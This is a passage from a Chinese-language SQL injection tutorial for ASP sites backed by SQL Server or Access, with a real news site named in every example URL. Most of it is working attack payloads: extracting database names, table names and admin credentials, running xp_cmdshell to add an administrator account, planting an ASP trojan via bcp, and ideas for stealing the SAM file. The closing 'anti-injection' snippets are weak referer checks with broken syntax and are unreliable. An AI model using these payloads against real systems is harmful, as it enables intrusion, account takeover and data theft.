不同的資料庫的函數、注入方法都是有差異的,所以在注入之前,我們還要判斷一下資料庫的類型。一般ASP最常搭配的資料庫是Access和SQLServer,網上超過99%的網站都是其中之一。

怎麼讓程序告訴你它使用的什麼資料庫呢?來看看:

SQLServer有一些系統變數,如果伺服器IIS提示沒關閉,並且SQLServer返回錯誤提示的話,那可以直接從出錯信息獲取,方法如下:
http://www.163.com/news.asp?id=xx;and user>0

這句語句很簡單,但卻包含了SQLServer特有注入方法的精髓,我自己也是在一次無意的測試中發現這種效率極高的猜解方法。讓我看來看看它的含義:首先,前面的語句是正常的,重點在and user>0,我們知道,user是SQLServer的一個內置變數,它的值是當前連接的用戶名,類型為nvarchar。拿一個 nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,當然,轉的過程中肯定會出錯,SQLServer的出錯提示是:將nvarchar值 」abc」 轉換數據類型為 int 的列時發生語法錯誤,呵呵,abc正是變數user的值,這樣,不廢吹灰之力就拿到了資料庫的用戶名。在以後的篇幅里,大家會看到很多用這種方法的語句。 順便說幾句,眾所周知,SQLServer的用戶sa是個等同Adminstrators許可權的角色,拿到了sa許可權,幾乎肯定可以拿到主機的 Administrator了。上面的方法可以很方便的測試出是否是用sa登錄,要注意的是:如果是sa登錄,提示是將」dbo」轉換成int的列發生錯誤,而不是」sa」。

如果伺服器IIS不允許返回錯誤提示,那怎麼判斷資料庫類型呢?我們可以從Access和SQLServer和區別入手,Access和 SQLServer都有自己的系統表,比如存放資料庫中所有對象的表,Access是在系統表[msysobjects]中,但在Web環境下讀該表會提示「沒有許可權」,SQLServer是在表[sysobjects]中,在Web環境下可正常讀取。

在確認可以注入的情況下,使用下面的語句:

http://www.163.com/news.asp?id=xx ;and (select count(*) from sysobjects)>0
http://www.163.com/news.asp?id=xx ;and (select count(*) from msysobjects)>0

如果資料庫是SQLServer,那麼第一個網址的頁面與原頁面http://www.163.com/news.asp?id=xx是大致相同的;而第二個網址,由於找不到表msysobjects,會提示出錯,就算程序有容錯處理,頁面也與原頁面完全不同。

如果資料庫用的是Access,那麼情況就有所不同,第一個網址的頁面與原頁面完全不同;第二個網址,則視乎資料庫設置是否允許讀該系統表,一般來說是不允許的,所以與原網址也是完全不同。大多數情況下,用第一個網址就可以得知系統所用的資料庫類型,第二個網址只作為開啟IIS錯誤提示時的驗證。

三、確定XP_CMDSHELL可執行情況

若當前連接數據的帳號具有SA許可權,且master.dbo.xp_cmdshell擴展存儲過程(調用此存儲過程可以直接使用操作系統的shell)能夠正確執行,則整個計算機可以通過以下幾種方法完全控制,以後的所有步驟都可以省

1、http://www.163.com/news.asp?id=xx and user>;0 news.asp執行異常但可以得到當前連接資料庫的用戶名(若顯示dbo則代表SA)。

2、http://www.163.com/news.asp?id=xx and db_name()>0 news.asp執行異常但可以得到當前連接的資料庫名。

3、http://www.163.com/news.asp?id=xx;exec master..xp_cmdshell 「net user aaa bbb /add」-- (master是SQL-SERVER的主數據
庫;名中的分號表示SQL-SERVER執行完分號前的語句名,繼續執行其後面的語句;「—」號是註解,表示其後面的所有內容僅為注釋,系統並不執行)可以直接增加操作系統帳戶aaa,密碼為bbb。

4、http://www.163.com/news.asp?id=xx;exec master..xp_cmdshell 「net localgroup administrators aaa /add」-- 把剛剛增加
的帳戶aaa加到administrators組中。

5、http://www.163.com/news.asp?id=xx;backuup database 資料庫名 to disk='c:\inetpub\wwwroot\save.db' 則把得到的數據內容
全部備份到WEB目錄下,再用HTTP把此文件下載(當然首選要知道WEB虛擬目錄)。

6、通過復制CMD創建UNICODE漏洞

http://www.163.com/news.asp?id=xx;exec master.dbo.xp_cmdshell 「 c:\winnt\system32\cmd.exe

c:\inetpub\scripts\cmd.exe」 便製造了一個UNICODE漏洞,通過此漏洞的利用方法,便完成了對整個計算機的控制(當然首選要知道WEB虛擬目錄)。

這樣你就成功的完成了一次SQL注入攻擊,先別興奮,在實踐時你就會發現這比理論要難的多會有更多的困難等著你come over ,下面GO ON如果上述條件不成立則需繼續奮斗(要掛馬了:))

GO ON~!

當上述條件不成立時就要繼續下面的步驟

(一)、發現WEB虛擬目錄

只有找到WEB虛擬目錄,才能確定放置ASP木馬的位置,進而得到USER許可權。有兩種方法比較有效。

一是根據經驗猜解,一般來說,WEB虛擬目錄是:c:\inetpub\wwwroot;

D:\inetpub\wwwroot; E:\inetpub\wwwroot等,而可執行虛擬目錄是:
c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。

二是遍歷系統的目錄結構,分析結果並發現WEB虛擬目錄;

先創建一個臨時表:temp

http://www.163.com/news.asp?id=xx;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3
nvarchar(255));--

接下來:

1 我們可以利用xp_availablemedia來獲得當前所有驅動器,並存入temp表中:

http://www.163.com/news.asp?id=xx;insert temp exec master.dbo.xp_availablemedia;--

我們可以通過查詢temp的內容來獲得驅動器列表及相關信息

2 我們可以利用xp_subdirs獲得子目錄列表,並存入temp表中:

http://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--

3 我們還可以利用xp_dirtree獲得所有子目錄的目錄樹結構,並寸入temp表中:

http://www.163.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--

這樣就可以成功的瀏覽到所有的目錄(文件夾)列表:

如果我們需要查看某個文件的內容,可以通過執行xp_cmdsell:

http://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--

使用'bulk insert'語法可以將一個文本文件插入到一個臨時表中。如:bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp'
瀏覽temp就可以看到index.asp文件的內容了!通過分析各種ASP文件,可以得到大量系統信息,WEB建設與管理信息,甚至可以得到SA帳號的連接密碼。

當然,如果xp_cmshell能夠執行,我們可以用它來完成:

http://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--
http://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--

通過xp_cmdshell我們可以看到所有想看到的,包括W3svc

http://www.163.com/news.asp?id=xx;insert into temp(id) exec master.dbo.xp_cmdshell 'cscript
C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'

但是,如果不是SA許可權,我們還可以使用

http://www.163.com/news.asp?id=xx;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--

注意:

1、以上每完成一項瀏覽後,應刪除TEMP中的所有內容,刪除方法是:

http://www.163.com/news.asp?id=xx;delete from temp;--

2、瀏覽TEMP表的方法是:(假設TestDB是當前連接的資料庫名)
http://www.163.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )>0

得到表TEMP中第一條記錄id欄位的值,並與整數進行比較,顯然news.asp工作異常,但在異常中卻可以發現id欄位的值。假設發現的表名是xyz,則

http://www.163.com/news.asp?id=xx and (select top 1 id from TestDB.dbo.temp )>0 where id not in('xyz'))>0

得到表TEMP中第二條記錄id欄位的值。

(二)、上傳ASP木馬

所謂ASP木馬,就是一段有特殊功能的ASP代碼,並放入WEB虛擬目錄的Scripts下,遠程客戶通過IE就可執行它,進而得到系統的USER許可權,實現對系統的初步控制。上傳ASP木馬一般有兩種比較有效的方法:

1、利用WEB的遠程管理功能

許多WEB站點,為了維護的方便,都提供了遠程管理的功能;也有不少WEB站點,其內容是對於不同的用戶有不同的訪問許可權。為了達到對用戶許可權的控制,都有一個網頁,要求用戶名與密碼,只有輸入了正確的值,才能進行下一步的操作,可以實現對WEB的管理,如上傳、下載文件,目錄瀏覽、修改配置等。

因此,若獲取正確的用戶名與密碼,不僅可以上傳ASP木馬,有時甚至能夠直接得到USER許可權而瀏覽系統,上一步的「發現WEB虛擬目錄」的復雜操作都可省略。

用戶名及密碼一般存放在一張表中,發現這張表並讀取其中內容便解決了問題。以下給出兩種有效方法。

A、 注入法:

從理論上說,認證網頁中會有型如:

select * from admin where username='XXX' and password='YYY' 的語句,若在正式運行此句之前,沒有進行必要的字元過濾,則很容易實施SQL注入。

如在用戶名文本框內輸入:abc』 or 1=1-- 在密碼框內輸入:123 則SQL語句變成:

select * from admin where username='abc』 or 1=1 and password='123』

不管用戶輸入任何用戶名與密碼,此語句永遠都能正確執行,用戶輕易騙過系統,獲取合法身份。

B、猜解法:

基本思路是:猜解所有資料庫名稱,猜出庫中的每張表名,分析可能是存放用戶名與密碼的表名,猜出表中的每個欄位名,猜出表中的每條記錄內容。

a 猜解所有資料庫名稱

http://www.163.com/news.asp?id=xx and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0

因為dbid的值從1到5,是系統用了。所以用戶自己建的一定是從6開始的。並且我們提交了 name>1 (name欄位是一個字元型的欄位和數字比較會出錯),news.asp工作異常,可得到第一個資料庫名,同理把DBID分別改成7,8,9,10,11,12…就可得到所有資料庫名。

以下假設得到的資料庫名是TestDB。

b 猜解資料庫中用戶名表的名稱

猜解法:此方法就是根據個人的經驗猜表名,一般來說,

user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,
systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。並通過語句進行判斷

http://www.163.com/news.asp?id=xx and (select count(*) from TestDB.dbo.表名)>0 若表名存在,則news.asp工作正常,否則異常。如此循環,直到猜到系統帳號表的名稱。

讀取法:SQL-SERVER有一個存放系統核心信息的表sysobjects,有關一個庫的所有表,視圖等信息全部存放在此表中,而且此表可以通過WEB進行訪問。

當xtype='U' and status>0代表是用戶建立的表,發現並分析每一個用戶建立的表及名稱,便可以得到用戶名表的名稱,基本的實現方法是:

①http://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 )>0
得到第一個用戶建立表的名稱,並與整數進行比較,顯然news.asp工作異常,但在異常中卻可以發現表的名稱。假設發現的表名是xyz,則

②http://www.163.com/news.asp?id=xx and (select top 1 name from TestDB.dbo.sysobjects where xtype='U' and status>0 and
name not in('xyz'))>0 可以得到第二個用戶建立的表的名稱,同理就可得到所有用建立的表的名稱。

根據表的名稱,一般可以認定那張表用戶存放用戶名及密碼,以下假設此表名為Admin。

c 猜解用戶名欄位及密碼欄位名稱

admin表中一定有一個用戶名欄位,也一定有一個密碼欄位,只有得到此兩個欄位的名稱,才有可能得到此兩欄位的內容。如何得到它們的名稱呢,同樣有以下兩種方法。

猜解法:此方法就是根據個人的經驗猜欄位名,一般來說,用戶名欄位的名稱常用:username,name,user,account等。而密碼欄位的名稱常用:password,pass,pwd,passwd等。並通過語句進行判斷

http://www.163.com/news.asp?id=xx and (select count(欄位名) from TestDB.dbo.admin)>0 「select count(欄位名) from 表名」

語句得到表的行數,所以若欄位名存在,則news.asp工作正常,否則異常。如此循環,直到猜到兩個欄位的名稱。

讀取法:基本的實現方法是

http://www.163.com/news.asp?id=xx and (select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects)>0 。
select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是從sysobjects得到已知表名的第一個欄位名,當與整數進行比較,顯然news.asp工作異常,但在異常中卻可以發現欄位的名稱。把col_name(object_id('admin'),1)中的1依次換成2,3,4,5,6…就可得到所有的欄位名稱。

d 猜解用戶名與密碼

猜用戶名與密碼的內容最常用也是最有效的方法有:

ASCII碼逐字解碼法:雖然這種方法速度較慢,但肯定是可行的。基本的思路是先猜出欄位的長度,然後依次猜出每一位的值。猜用戶名與猜密碼的方法相同,以下以猜用戶名為例說明其過程。

http://www.163.com/news.asp?id=xx and (select top 1 len(username) from TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username

為用戶名欄位的名稱,admin為表的名稱),若x為某一值i且news.asp運行正常時,則i就是第一個用戶名的長度。如:當輸入
http://www.163.com/news.asp?id=xx and (select top 1 len(username) from TestDB.dbo.admin)=8時news.asp運行正常,則第一個用戶名的長度為8

http://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用戶名長度之間,當m=1,2,3,…時猜測分別猜測第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之間的任意值;admin為系統用戶帳號表的名稱),若n為某一值i且news.asp運行正常時,則i對應ASCII碼就是用戶名某一位值。如:當輸入
http://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,3,1)) from TestDB.dbo.admin)=80時news.asp運行正常,則用戶名的第三位為P(P的ASCII為80);http://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,9,1)) from TestDB.dbo.admin)=33時news.asp運行正常,則用戶名的第9位為!(!的ASCII為80);猜到第一個用戶名及密碼後,同理,可以猜出其他所有用戶名與密碼。注意:有時得到的密碼可能是經MD5等方式加密後的信息,還需要用專用工具進行脫密。或者先改其密碼,使用完後再改回來,見下面說明。簡單法:猜用戶名用http://www.163.com/news.asp?id=xx and (select top 1 flag from TestDB.dbo.admin where username>1) , flag是admin表中的一個欄位,username是用戶名欄位,此時news.asp工作異常,但能得到Username的值。與上同樣的方法,可以得到第二用戶名,第三個用戶等等,直到表中的所有用戶名。

猜用戶密碼:http://www.163.com/news.asp?id=xx and (select top 1 flag from TestDB.dbo.admin where pwd>1) , flag是admin表中的一個欄位,pwd是密碼欄位,此時news.asp工作異常,但能得到pwd的值。與上同樣的方法,可以得到第二用戶名的密碼,第三個用戶的密碼等等,直到表中的所有用戶的密碼。密碼有時是經MD5加密的,可以改密碼。

http://www.163.com/news.asp?id=xx;update TestDB.dbo.admin set pwd=' a0b923820dcc509a' where username='www';-- ( 1的MD5值為:AAABBBCCCDDDEEEF,即把密碼改成1;www為已知的用戶名)用同樣的方法當然可把密碼改原來的值。

2、利用表內容導成文件功能

SQL有BCP命令,它可以把表的內容導成文本文件並放到指定位置。利用這項功能,我們可以先建一張臨時表,然後在表中一行一行地輸入一個ASP木馬,然後用BCP命令導出形成ASP文件。

命令行格式如下:

bcp "select * from text..foo" queryout c:\inetpub\wwwroot\163.asp –c –S localhost –U sa –P foobar
('S'參數為執行查詢的伺服器,'U'參數為用戶名,'P'參數為密碼,最終上傳了一個163.asp的木馬)

3、利用工具,如NBSI給出的一些參考數據最重要的表名:

select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses

最重要的一些用戶名(默認sql資料庫中存在著的)

public
dbo
guest(一般禁止,或者沒許可權)
db_sercurityadmin
ab_dlladmin
一些默認擴展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驅動器相關
xp_dirtree 目錄
xp_enumdsn ODBC連接
xp_loginconfig 伺服器安全模式信息
xp_makecab 創建壓縮卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 終端進程,給出一個PID

(三)、得到系統的管理員許可權

ASP木馬只有USER許可權,要想獲取對系統的完全控制,還要有系統的管理員許可權。怎麼辦?提升許可權的方法有很多種:

上傳木馬,修改開機自動運行的.ini文件(它一重啟,便死定了);

復制CMD.exe到scripts,人為製造UNICODE漏洞;

下載SAM文件,破解並獲取OS的所有用戶名密碼;

等等,視系統的具體情況而定,可以採取不同的方法。

那麼我們怎麼防注入呢?程序如下加入到asp或html或php或cgi裡面都可以。經過測試。加入如 top.asp文件中開頭

方法一:

<%if session("username"="" or session("userkey"="" then
response.redirect "../../"
end if%>

(說明:只要有用戶注入則跳轉到../../目錄,呵呵,看你怎麼給我注入)

方法二:

<%
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER")
server_v2=Cstr(Request.ServerVariables("SERVER_NAME")
if mid(server_v1,8,len(server_v2))<>server_v2 then
response.write "<br><br><center><table border=1 cellpadding=20 bordercolor=black bgcolor=#EEEEEE width=450>"
response.write "<tr><td style=「font:9pt Verdana">"
response.write "你提交的路徑有誤,禁止從站點外部提交數據請不要亂該參數!"
response.write "</td></tr></table></center>"
response.end
end if
%>

(說明:只要有用戶注入則判斷為外部連接哦,呵呵,看你怎麼給我注入)

方法三:

<% dim From_url,Serv_url
From_url = Cstr(Request.ServerVariables("HTTP_REFERER")
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME")
if mid(From_url,8,len(Serv_url)) <> Serv_url then
response.write "NO"
response.redirect("../"
response.end
end if%>